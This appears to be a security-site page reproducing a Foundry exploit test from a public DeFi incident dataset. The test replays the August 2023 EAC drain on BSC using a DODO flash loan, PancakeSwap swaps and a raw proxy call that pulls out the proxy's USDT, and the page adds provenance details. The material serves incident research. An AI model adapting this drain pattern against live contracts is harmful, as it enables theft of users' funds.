Public reproduction file

src/test/2023-08/EAC_exp.sol

Public reproduction file for dataset entry EAC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/EAC_exp.sol53 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$29BNB
8// Attacker : https://bscscan.com/address/0x27e981348c2d1f5b2227c182a9d0ed46eed84946
9// Attack Contract : https://bscscan.com/address/0x20dcf125f0563417d257b98a116c3fea4f0b2db2
10// Attack Tx : https://bscscan.com/tx/0x477f9ee698ac8ae800ffa012ab52fd8de39b58996245c5e39a4233c1ae5f1baa
11 
12// @Analysis
13// Twitter Guy : https://twitter.com/bbbb/status/1696520866564350157
14 
15contract ContractTest is Test {
16    address private constant usdt = 0x55d398326f99059fF775485246999027B3197955;
17    address private constant pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
18    address private constant dodo_pool = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;
19 
20    address private constant proxy = 0xa08a40e0F11090Dcb09967973DF82040bFf63561;
21    address private constant eac = 0x64f291DE10eCd36D5f7b64aaEbC70943CFACE28E;
22 
23    function setUp() public {
24        vm.createSelectFork("bsc", 31_273_019 - 1);
25        vm.label(usdt, "USDT");
26        vm.label(eac, "EAC");
27        vm.label(pancakeRouterV2, "PANCAKE_ROUTER_V2");
28        vm.label(dodo_pool, "DODOPool");
29    }
30 
31    function testExploit() public {
32        IDPPOracle(dodo_pool).flashLoan(0, 300_000_000_000_000_008_388_608, address(this), new bytes(1));
33    }
34 
35    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
36        swap(usdt, eac, IERC20(usdt).balanceOf(address(this)));
37        proxy.call(abi.encodeWithSelector(0xe6a24c3f, IERC20(usdt).balanceOf(proxy)));
38        swap(eac, usdt, IERC20(eac).balanceOf(address(this)));
39        // pay back
40        IERC20(usdt).transfer(msg.sender, 300_000_000_000_000_008_388_608);
41        emit log_named_decimal_uint("Attacker USDT balance after exploit", IERC20(usdt).balanceOf(address(this)), 18);
42    }
43 
44    function swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
45        IERC20(tokenIn).approve(pancakeRouterV2, type(uint256).max);
46        address[] memory path = new address[](2);
47        path[0] = tokenIn;
48        path[1] = tokenOut;
49        IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
50            amountIn, 0, path, address(this), block.timestamp + 1000
51        );
52    }
53}

Analysis

Dataset entry

Public Foundry test for “EAC” (2023-08-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-08/Balancer_exp.solSame month in the dataset · 220 lines
src/test/2023-08/BTC20_exp.solSame month in the dataset · 128 lines
src/test/2023-08/CurveBurner_exp.solSame month in the dataset · 151 lines
src/test/2023-08/EarningFram_exp.solSame month in the dataset · 95 lines
src/test/2023-08/EHIVE_exp.solSame month in the dataset · 142 lines
src/test/2023-08/Exactly_exp.solSame month in the dataset · 479 lines
src/test/2023-08/GSS_exp.solSame month in the dataset · 62 lines
src/test/2023-08/Leetswap_exp.solSame month in the dataset · 66 lines
src/test/2023-08/NeutraFinance_exp.solSame month in the dataset · 413 lines
src/test/2023-08/SVT_exp.solSame month in the dataset · 58 lines
src/test/2023-08/Uwerx_exp.solSame month in the dataset · 72 lines
src/test/2023-08/Zunami_exp.solSame month in the dataset · 200 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x27e981348c2d1f5b2227c182a9d0ed46eed84946
Attack Contract
0x20dcf125f0563417d257b98a116c3fea4f0b2db2

Attack Tx
0x477f9ee698ac8ae800ffa012ab52fd8de39b58996245c5e39a4233c1ae5f1baa

File record

Name: EAC
Path: src/test/2023-08/EAC_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 7699d767ce0f1d751d2797dd464b48c02bcd18f8
Language: Solidity
Size: 54 lines
Date: 2023-08-29
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-08/EAC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7699d767ce0f1d751d2797dd464b48c02bcd18f8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.